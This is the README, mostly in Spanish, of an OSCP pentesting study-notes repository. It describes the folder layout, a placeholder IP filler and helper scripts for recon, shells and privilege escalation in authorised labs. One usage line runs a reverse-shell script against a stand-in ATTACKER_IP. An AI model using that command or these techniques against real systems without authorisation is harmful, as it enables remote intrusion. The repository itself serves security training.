
Bóveda de notas OSCP + panel de control para el examen: notas de técnicas combinadas, mazos de comandos con variables rellenadas, máquinas, credenciales y runbook para el día del examen. MIT.
Etiquetas: #ligolo #hashcat

Cuaderno de metodología de pentesting indexado por puertos: árboles de decisión, patrones de comandos para copiar y pegar, y lecciones de máquinas de práctica autorizadas (HTB / PG / laboratorios personales). Fusionado desde el antiguo finalnotes-vault en este único árbol.
Un flujo de trabajo que puedes ejecutar bajo presión de tiempo. Primero los comandos y los árboles de decisión.
Notas de estudio públicas solo para práctica autorizada (tus laboratorios, HTB/PG, cursos que posees). Sin claves de examen, sin volcados de compromisos reales, sin volcados de contenido de cursos de OffSec.
Repo: https://gitlab.com/WattoCyber/oscp-notes-2026
Mazo de examen (HTML): https://oscp-notes-2026-76134f.gitlab.io
| Qué es | Notas de campo al estilo OSCP: árboles de decisión, patrones de comandos, tarjetas de técnicas. |
| Para quién es | Candidatos a OSCP y operadores de laboratorio que quieren un flujo de trabajo que puedan ejecutar bajo presión de tiempo. |
| Qué no es | No es un volcado de payloads, no son claves de examen, no es contenido de cursos de OffSec, ni un sustituto de los materiales oficiales. |
| Tamaño | Más de 512 notas en markdown en orden de compromiso numerado. |
git clone https://gitlab.com/WattoCyber/oscp-notes-2026.git
cd oscp-notes-2026
# optional: bind placeholders to your lab IPs
# edit 00-Start-Here/Variables.md
python fill-variables.py apply
python fill-variables.py status
python fill-variables.py reset # restore placeholders
Señal de éxito: python fill-variables.py status imprime Status: PLACEHOLDERS (antes de aplicar) o Status: FILLED (después de aplicar con IPs reales en Variables.md). Abre Home.md o Find.md (cada nota, clicable en GitLab). Los wikilinks siguen funcionando en Obsidian. Actualiza el catálogo con python3 scripts/build-find.py.
Requiere únicamente Python 3 (stdlib). Sin pip install.
Scripts de examen/laboratorio (bash primero, tablas en scripts/data/):
ls scripts/
bash scripts/recon/host-scan.sh TARGET
python3 scripts/recon/nmap-next.py scans/TARGET/svc.xml
bash scripts/shells/rev.sh ATTACKER_IP 443 linux
Find.md Generated catalog of every note (GitLab links)
00-Start-Here/ INDEX.md + Quick-Start, Methodology, Variables, Im-Stuck
Exam/ Cheatsheets/ Charts/
01-Enumeration/ Enumeration-Index.md at root
Automated-Scanners/ Network-Protocols/ Web-Applications/
02-Web-Attacks/ Web-Index.md, Web-Methodology.md at root
Recon/ Injection/ File-Attacks/ HTTP-Techniques/ CMS/
03-Active-Directory/ AD-Index.md, First-User-Playbook.md at root
Enum/ Kerberos/ Credential-Theft/ ACL-Abuse/ ADCS/
Lateral/ Persistence/ CVE-One-Shots/
04-Linux-PrivEsc/ Linux-Index.md + walkthrough at root
CVE-One-Shots/ Filesystem/ Hijacking/ Scheduled-and-Services/
Persistence/ Tools/
05-Windows-PrivEsc/ Windows-Index.md + 3 topic indexes at root
Checklists/ Local-Techniques/ Persistence/ Service-Abuse/
Token-Manipulation/ Tools/
06-Pivoting/ Pivoting-Index.md at root + Tools/
07-File-Transfers/ File-Transfers.md at root + Methods/
08-Shells/ Reverse-Shells.md, Msfvenom.md at root
Shells/ Web/
09-Password-Attacks/ Brute-Forcing-Guide.md at root
Cracking/ Spraying/ Wordlists/
10-Reporting/ Report-Template.md at root + Exam/
11-Tools/ Tools-Index.md at root
Payload/ Recon/ Network/ Code/ CVE/ Custom/
scripts/ exam/lab helpers (data/*.tsv + bash; python for parsers)
fill-variables.py placeholder IP binder
_attachments/ images
Dentro del alcance
Fuera del alcance (deliberadamente)
Verifica las reglas actuales del examen en la guía de examen de OffSec. Las tablas de puntuación aquí son ayudas de estudio y pueden quedar desactualizadas.
Marcadores de posición usados en las notas: ATTACKER_IP, TARGET_IP, DC_IP, MS01_IP, MS02_IP, STANDALONE1..3, INTERNAL_IP, INTERNAL_NET, DOMAIN.
python3 fill-variables.py apply # write your IPs into every .md
python3 fill-variables.py reset # restore tokens (uses .variables-backup.json)
No hagas commit de las IPs aplicadas. Mantén Variables.md como marcadores de posición en git.
Samson Laird (SamsonCyber / WattoCyber). Creado mientras trabajaba en laboratorios al estilo OSCP.
El repositorio independiente más antiguo finalnotes-vault está archivado. Este árbol es la copia activa.
MIT para la estructura original, los scripts y la prosa original. El conocimiento de técnicas es oficio de seguridad pública. Los nombres de las máquinas se refieren a máquinas públicas de HTB/PG; respeta las reglas de cada plataforma.